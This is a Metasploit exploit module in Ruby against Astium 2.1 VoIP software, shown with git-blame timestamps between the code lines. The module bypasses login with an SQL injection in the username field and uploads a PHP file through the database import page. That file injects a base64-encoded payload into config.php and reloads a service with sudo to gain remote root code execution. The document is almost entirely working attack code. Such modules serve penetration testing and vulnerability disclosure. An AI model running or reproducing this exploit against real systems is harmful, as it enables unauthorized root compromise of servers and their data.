2013-09-17 05:32:10 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-09-17 05:32:10 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-09-19 16:51:07 +00:00
|
|
|
Rank = ManualRanking # Configuration is overwritten and service reloaded
|
2013-09-17 05:32:10 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::FileDropper
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
2013-09-18 09:52:31 +00:00
|
|
|
'Name' => "Astium Remote Code Execution",
|
2013-09-17 05:32:10 +00:00
|
|
|
'Description' => %q{
|
2013-09-19 16:51:07 +00:00
|
|
|
This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and
|
|
|
|
lower. A SQL Injection vulnerability is used to achieve authentication bypass and gain
|
|
|
|
admin access. From an admin session arbitrary PHP code upload is possible. It is used
|
|
|
|
to add the final PHP payload to "/usr/local/astium/web/php/config.php" and execute the
|
|
|
|
"sudo /sbin/service astcfgd reload" command to reload the configuration and achieve
|
|
|
|
remote root code execution.
|
2013-09-17 05:32:10 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2013-09-19 16:51:07 +00:00
|
|
|
[ 'OSVDB', '88860' ],
|
2013-09-17 05:32:10 +00:00
|
|
|
[ 'EDB', '23831' ]
|
|
|
|
],
|
|
|
|
'Platform' => ['php'],
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2013-09-19 16:51:07 +00:00
|
|
|
['Astium 2.1', {}]
|
2013-09-17 05:32:10 +00:00
|
|
|
],
|
2013-09-18 09:52:31 +00:00
|
|
|
'Privileged' => true,
|
2013-09-17 05:32:10 +00:00
|
|
|
'DisclosureDate' => "Sep 17 2013",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('TARGETURI', [true, 'The base path to the Astium installation', '/']),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2013-09-19 16:51:07 +00:00
|
|
|
def uri
|
|
|
|
return target_uri.path
|
|
|
|
end
|
2013-09-17 05:32:10 +00:00
|
|
|
|
2013-09-19 16:51:07 +00:00
|
|
|
def check
|
2013-09-17 05:32:10 +00:00
|
|
|
# Check version
|
2014-01-22 17:20:10 +00:00
|
|
|
vprint_status("#{peer} - Trying to detect Astium")
|
2013-09-17 05:32:10 +00:00
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(uri, "en", "content", "index.php")
|
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.code == 302 and res.body =~ /direct entry from outside/
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
print_status("#{peer} - Access login page")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
2013-09-19 16:51:07 +00:00
|
|
|
'uri' => normalize_uri(uri),
|
|
|
|
'vars_get' => {
|
|
|
|
'js' => '0',
|
|
|
|
'ctest' => '1',
|
|
|
|
'origlink' => '/en/content/index.php'
|
|
|
|
}
|
2013-09-17 05:32:10 +00:00
|
|
|
})
|
|
|
|
|
2013-09-19 16:51:07 +00:00
|
|
|
if res and res.code == 302 and res.get_cookies =~ /astiumnls=([a-zA-Z0-9]+)/
|
|
|
|
session = $1
|
|
|
|
print_good("#{peer} - Session cookie is [ #{session} ]")
|
2013-09-17 05:32:10 +00:00
|
|
|
redirect = URI(res.headers['Location'])
|
|
|
|
print_status("#{peer} - Location is [ #{redirect} ]")
|
|
|
|
else
|
2015-04-16 19:44:56 +00:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
|
2013-09-17 05:32:10 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
# Follow redirection process
|
|
|
|
print_status("#{peer} - Following redirection")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => "#{redirect}",
|
|
|
|
'method' => 'GET',
|
|
|
|
'cookie' => "astiumnls=#{session}"
|
|
|
|
})
|
|
|
|
|
|
|
|
if not res or res.code != 200
|
2015-04-16 19:44:56 +00:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - Redirect failed!")
|
2013-09-17 05:32:10 +00:00
|
|
|
end
|
|
|
|
|
2013-09-19 16:51:07 +00:00
|
|
|
|
2013-09-18 09:52:31 +00:00
|
|
|
sqlirandom = rand_text_numeric(8)
|
2013-09-17 05:32:10 +00:00
|
|
|
|
|
|
|
# SQLi to bypass authentication
|
2013-09-18 09:52:31 +00:00
|
|
|
sqli="system' OR '#{sqlirandom}'='#{sqlirandom}"
|
2013-09-17 05:32:10 +00:00
|
|
|
|
2013-09-18 09:52:31 +00:00
|
|
|
# Random password
|
|
|
|
pass = rand_text_alphanumeric(10)
|
|
|
|
|
|
|
|
post_data = "__act=submit&user_name=#{sqli}&pass_word=#{pass}&submit=Login"
|
|
|
|
print_status("#{peer} - Using SQLi to bypass authentication")
|
2013-09-17 05:32:10 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(uri, "/en", "logon.php"),
|
|
|
|
'cookie' => "astiumnls=#{session}",
|
|
|
|
'data' => post_data
|
|
|
|
})
|
|
|
|
|
|
|
|
if not res or res.code != 302
|
2015-04-16 19:44:56 +00:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - Login bypass was not succesful!")
|
2013-09-17 05:32:10 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Random filename
|
|
|
|
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
|
2013-09-18 09:52:31 +00:00
|
|
|
|
|
|
|
phppayload = "<?php "
|
|
|
|
# Make backup of the "/usr/local/astium/web/php/config.php" file
|
|
|
|
phppayload << "$orig = file_get_contents('/usr/local/astium/web/php/config.php');"
|
2013-09-26 03:23:33 +00:00
|
|
|
# Add the payload to the end of "/usr/local/astium/web/php/config.php". Also do a check if we are root,
|
|
|
|
# else during the config reload it might happen that an extra shell is spawned as the apache user.
|
2013-10-03 16:01:27 +00:00
|
|
|
phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");"
|
2013-09-18 09:52:31 +00:00
|
|
|
phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
|
2013-09-26 03:23:33 +00:00
|
|
|
phppayload << "fwrite($f, $orig . \"<?php if (posix_getuid() == 0) {\" . $replacement . \"} ?>\");"
|
2013-09-18 09:52:31 +00:00
|
|
|
phppayload << "fclose($f);"
|
2013-09-26 03:23:33 +00:00
|
|
|
# Reload astcfgd using sudo (so it will read our payload with root privileges).
|
2013-09-18 09:52:31 +00:00
|
|
|
phppayload << "system('sudo /sbin/service astcfgd reload');"
|
2013-09-17 05:32:10 +00:00
|
|
|
# Sleep 1 minute, so that we have enough time for the reload to trigger our payload
|
2013-09-18 09:52:31 +00:00
|
|
|
phppayload << "sleep(60);"
|
|
|
|
# Restore our original config.php, else the Astium web interface won't work anymore.
|
|
|
|
phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
|
|
|
|
phppayload << "fwrite($f, $orig);"
|
|
|
|
phppayload << "fclose($f);"
|
|
|
|
phppayload << "?>"
|
|
|
|
|
|
|
|
post_data = Rex::MIME::Message.new
|
|
|
|
post_data.add_part("submit", nil, nil, "form-data; name=\"__act\"")
|
|
|
|
post_data.add_part(phppayload, "application/octet-stream", nil, "file; name=\"importcompany\"; filename=\"#{payload_name}\"")
|
2014-02-11 04:23:23 +00:00
|
|
|
file = post_data.to_s
|
2013-09-18 09:52:31 +00:00
|
|
|
|
|
|
|
print_status("#{peer} - Uploading Payload [ #{payload_name} ]")
|
2013-09-17 05:32:10 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(uri, "en", "database", "import.php"),
|
2013-09-18 09:52:31 +00:00
|
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
2013-09-17 05:32:10 +00:00
|
|
|
'cookie' => "astiumnls=#{session}",
|
2013-09-18 09:52:31 +00:00
|
|
|
'data' => file
|
2013-09-17 05:32:10 +00:00
|
|
|
})
|
|
|
|
|
|
|
|
# If the server returns 200 and the body contains our payload name,
|
|
|
|
# we assume we uploaded the malicious file successfully
|
2013-09-19 16:51:07 +00:00
|
|
|
if not res or res.code != 200 or res.body !~ /#{payload_name}/
|
2015-04-16 19:44:56 +00:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")
|
2013-09-17 05:32:10 +00:00
|
|
|
end
|
|
|
|
|
2013-09-18 09:52:31 +00:00
|
|
|
register_file_for_cleanup("/usr/local/astium/web/html/upload/#{payload_name}")
|
2013-09-17 05:32:10 +00:00
|
|
|
|
2013-09-18 09:52:31 +00:00
|
|
|
print_status("#{peer} - Requesting Payload [ #{uri}upload/#{payload_name} ]")
|
2013-09-26 03:23:33 +00:00
|
|
|
print_status("#{peer} - Waiting as the reloading process may take some time, this may take a couple of minutes")
|
2013-09-17 05:32:10 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
2013-09-18 09:52:31 +00:00
|
|
|
'uri' => normalize_uri(uri, "upload", "#{payload_name}")
|
2013-09-26 03:23:33 +00:00
|
|
|
}, 120)
|
2013-09-17 05:32:10 +00:00
|
|
|
|
|
|
|
# If we don't get a 200 when we request our malicious payload, we suspect
|
2013-10-03 16:01:27 +00:00
|
|
|
# we don't have a shell, either.
|
2013-09-17 05:32:10 +00:00
|
|
|
if res and res.code != 200
|
2013-09-19 16:51:07 +00:00
|
|
|
print_error("#{peer} - Unexpected response...")
|
2013-09-17 05:32:10 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|